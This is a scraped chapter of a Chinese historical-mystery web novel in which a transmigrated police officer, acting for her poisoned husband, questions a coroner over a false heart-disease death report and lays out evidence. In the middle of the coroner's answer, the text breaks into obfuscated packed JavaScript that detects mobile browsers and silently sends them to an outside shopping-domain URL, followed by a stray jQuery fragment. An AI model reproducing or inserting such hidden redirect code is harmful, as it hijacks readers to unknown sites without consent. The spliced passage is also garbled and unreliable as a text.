文趣网 > 其他小说 > 刑狱娘子 > 4.陈墨
    翌日清晨,雨住云未散。

    沈昭韫起身,换了一身靛青窄袖褙子,同色长裙,腰束革带,发髻用一根碧玉簪绾起。

    收拾停当之后,她和青黛一起走出房门。

    韩诚早已候在廊下,见到她出来,立刻抱拳:“夫人。”

    昨晚裴濯有过短暂清醒,脉象也有力了许多,沈昭韫打算今天专心调查,把那下毒之人揪出来。

    “韩捕头,将赵顺、赵嬷嬷、春杏、秋桃四人,押至前衙后堂。再传三班捕头、书吏、仵作及一应相关衙役,至二堂听事。今日,我要在二堂,问清这投毒谋害朝廷命官一案。”

    韩诚眼中精光一闪。二堂非正式升堂的大堂,却是官长处置紧要公务、召见下属之地,在此问案,既显慎重,又免了过分张扬。这位被裴大人以私印相授的县令夫人,分寸拿捏得极准。

    “卑职遵命!”他转身便去安排,步伐迅捷沉稳。

    辰时三刻,县衙二堂。

    这里平时是县令处置日常公务之所,正中设一公案,后墙高悬一块黑底金字的匾额,上书“清慎勤”三个大字。

    沈昭韫端坐案后,背脊挺直。

    韩诚按刀立于公案左前侧,目光如电,扫视全场。

    公案右侧,多了一张本不属于这里的小茶几。

    茶几后,立着青黛。

    茶几上笔墨纸砚齐备,右上角整齐摆放着数个用油布、白绢妥善包裹的物件,那是沈昭韫今天早上交给青黛的“证物”。

    青黛的手心里,已沁出了一层薄汗。

    她活了三十六年,生活重心便是后宅。见过的最大场面,不过是夫人姑娘们举行的家宴。而此刻,站在这空旷的县衙二堂,在这个全然属于男子的、权力的世界,她心跳如擂鼓,连呼吸都不自觉地放轻了。

    这个陌生的环境,让青黛本能地感到畏惧,她双手紧握,试图让狂跳的心镇定下来。

    沈昭韫察觉到了青黛的紧绷,侧目看去,声音轻柔:“莫慌,有我呢。”

    听到沈昭韫这句话,青黛忽然就有了底气。

    对啊,姑娘醒过来了,拿着大人的私印,一晚上肃清内宅,连韩大人都要听她的。自己只要听姑娘吩咐做事就好了,怕什么!

    想到这里,青黛不再分神,像往日做菜、洒扫一般认真,仔细检查着每一份证物,不敢有丝毫错漏。

    堂下,三班捕头、书吏、衙役约十余人,分列左右,看到坐在公案后的是个女人,都有点懵。

    窃窃私语声低低响起。

    “肃静!”韩诚浓眉一拧,冷厉的目光扫过,窃语声低了几分,却未完全停止。

    韩诚皱眉,提高了音量:“大人病重,县衙事务皆由夫人代管,若再怠慢,休怪我韩某人不客气!”

    众人抬头看向韩诚,再小心翼翼地看一眼沈昭韫,虽说不再议论,但眼神里却透着不服气。

    就在这时,沈昭韫抬起了眼,眸光平静,缓缓地、从每一个人脸上掠过。

    被她看到的人,不知怎的,心头那点不以为然像被冷水淋过,悄无声息地摁了下去。

    沈昭韫缓缓开口:“今日召诸位前来,只为一桩谋害案。”

    停顿片刻之后,沈昭韫刻意放慢了语速,力求让所有人都听得清清楚楚:“一桩发生在本夫人与裴县令身上的,投毒谋害案。”

    “轰——”

    堂下瞬间炸开了锅!

    压抑的惊呼、倒抽冷气的声音、不敢置信的低语交织成一片。

    “投毒?谋害?”

    “我的老天爷……难怪这几日大人不曾上堂,竟是有人下毒?”

    “谋害朝廷命官?这是要诛九族的大罪啊!”

    一片嘈杂声中,沈昭韫拿起堂上那方乌木惊堂木,手腕一沉。

    “啪——!”

    一声爆响,如旱地惊雷。

    所有游离的思绪、窃窃的私语,都被这一声响齐齐压下。

    沈昭韫抬了抬手:“带仵作。”

    韩诚命人将一名仵作带了上来。那人穿着洗得发白的仵作服,面容消瘦,手指关节粗大,正是当日为她“验尸”的仵作陈墨。

    “陈仵作。”沈昭韫唤道,语气平淡。

    陈墨浑身一颤,猛地抬头,正对上沈昭韫那张喜怒莫辨的面庞,整个人吓得一个激灵,扑通一声跪倒,以头触地:“小人有罪!”

    沈昭韫问:“你有何罪?”

    见到被自己宣告死亡的人此刻端坐高堂,陈墨哑声道:“当日赵管事唤小人验看,小人见夫人已无气息,唇甲青紫,便按心疾猝死填了《验状》。没想到,夫人您是假死,小人学艺不精,罪该万死!”

    沈昭韫第一次审案,对县衙刑侦流程还在熟悉阶段。不过有着丰富公安经验的她一听就明白过来,陈墨所说的《验状》,应该就是尸检报告和死亡证明的合体。

    她目光扫向堂下:“验状何在?”

    右侧书吏案后,一名清瘦书吏站起身来,从自己案头那一叠文书中,准确无误地抽出一份,双手捧至公案前:“回夫人,一应案卷文书,皆已由户房调出备用。此即陈墨所签押的《验状》,请夫人过目。”

    沈昭韫接过这份文书,展开细看。

    这是一份特制的格式文书,分栏列项,详细记录尸体状况、伤痕、穿戴、推测死因、致死物、死亡时间等,比她想象的更为全面。

    沈昭韫的目光扫过那些文言记述,快速提取关键信息。

    眼前的验状,是一份判断死亡性质、决定是否立案侦查、以及后续审判定罪的关键证据,她如果想要立案,必须先推翻这份核心证据。

    沈昭韫低头看着堂下惶恐之极的陈墨:“陈墨,你做仵作多久了?”

    陈墨恭敬回话:“小人世代仵作,自小便随父学习此道,在青阳县衙当了十几年差。”

    沈昭韫指着验状中的一行文字:“唇甲青紫,除了心疾外,也可能是中毒所致,还需做进一步检验。你世代仵作,难道连这都不知道么?”

    陈墨抬起头,定定地看着沈昭韫,胸脯起伏,似有不服。

    站在沈昭韫身旁的韩诚上前半步,手按在了刀柄之上,浑身肌肉绷紧,厉声喝道:“大胆!”

    陈墨浑身一颤,那点因专业被质疑而激起的不甘瞬间消失,猛地将额头重重磕在冰冷的青石地上,发出“咚”的一声闷响,声音因惊惶而扭曲变调:“小人该死!小人该死!求夫人开恩,饶了小人这条贱命!”

    在古代,因为经常接触死亡、尸体、伤残、血腥,仵作这个职业被打上了“低贱”的烙印,明确归入贱籍,地位低于普通平民。

    沈昭韫心中不忍,声音温和,语带鼓励:“说吧,为何匆匆下了心疾的结论?”

    陈墨继续沉默。

    韩诚再次喝斥:“夫人问你话,老实回答!”

    陈墨终于颤声开口:“当时裴大人不在场,周主薄也不在,小人不过是个身份低贱的仵作,夫人身份贵重,小人哪敢上手细细查验?只是听赵管事说您原本就身体不好,走几步路就气喘,这是典型的心悸之症。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635863|206326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    再结合您唇色发青,这才按心疾猝死填了验状。”

    说到自己的专业领域,陈墨胆子渐渐大了起来:“若是真正验尸,小人定会银针查验……”

    陈墨说到“银针查验”时,声音卡住了,他再次偷偷抬眼,飞快地瞥了一眼沈昭韫,又看了看公案旁小几上那些被油布、白绢仔细包裹的物件,喉结不自觉地滚动了一下,眼睛里闪着近乎饥渴的探究欲。

    沈昭韫一眼便看懂了陈墨所想。

    她在现代与专业法医共事,见过他们在命案现场面对尸体时全神贯注、仿佛世界只剩眼前证据的专注;也见过他们在实验室里,为了一个细微的创口形态反复比对、争论至深夜的执着。

    现代法医身上的这份专注与执着,与名利无关,那是一种对追寻真相的信仰。

    此刻陈墨眼中闪烁的光芒,和现代法医一般无二。

    只是这份光芒,被卑贱身份所带来的怯懦掩盖了。

    沈昭韫看向青黛,微微颔首。

    青黛得了示意,深吸一口气,稳了稳心神,伸出双手,先捧起小几上那个中等大小的油布包。

    青黛说得很慢,声音一开始有些发颤:“这是第一件,自小厨房取得的药渣,已按来源分开封装。”

    她一边说,一边动作极其小心地解开系绳,将油布层层展开,露出里面颜色深褐、已然半干的药材碎渣,并特意将内层标记了“裴”、“沈”字样的油布展示出来。

    陈墨的眼睛几乎是黏在了药渣上,身体不由自主地前倾了几分,手指在身侧微微蜷动。

    青黛将药渣包置于一个干净的木托盘上,又取来旁边一个略小的白布包。这次打开,里面是两块颜色污浊、边缘泛黄的绢帕。

    青黛的声音渐渐稳住:“这是第二件,沾有呕吐秽物的绢帕。”

    那不甚雅观甚至带着气味的东西呈现在堂上,让几个离得近的衙役下意识皱了皱眉,偏开了头。唯独陈墨,目光愈发专注,鼻翼甚至微微翕动,像是在隔空捕捉那残留的气味信息。

    接着,青黛取过那个装着深褐色寿衣的包裹,将其展开。

    暗沉不祥的颜色、粗糙的针脚、领口可疑的深色污渍……死亡的气息扑面而来,堂下响起一片低低的吸气声。

    青黛的手指有些发凉,但她牢记沈昭韫的吩咐,小心地将其展现在托盘旁:“这是第三件,夫人当时所穿的……寿衣。”

    三样证物,一字排开,无声地陈列在公案之前,也勾住了陈墨全部的心神。

    他的目光牢牢盯在这些证物之上,喉结滚动了一下,像是下了极大的决心,重重叩首。

    “当日小人确有敷衍失职之过,惧事畏权,未敢深究。然仵作之道,首重‘细、实、真’三字。小人恳请夫人,准小人再验一次!验一验这些新得的证物!若真是小人错了,误判了夫人死因,小人甘受任何责罚,绝无怨言!”

    当这些有待解读的证据一一摆在面前,陈墨内心不由得生出一种冲动,一种强烈的,想要亲手触碰、检验的冲动。

    这份冲动,压倒了他所有的恐惧和顾虑。

    沈昭韫微微颔首:“青黛,将证物呈予陈仵作细验。”

    陈墨猛地抬起头,看向沈昭韫,一双眼睛亮晶晶的。

    沈昭韫继续说话:“再请严郎中、魏郎中至堂前,共辨真伪。”

    韩诚迅速回应:“是!”

    此刻的陈墨眼中只有证物,他直起身来,整理着装、挽起衣袖,露出了那双勘验过无数尸体的手,准备对证物进行检验。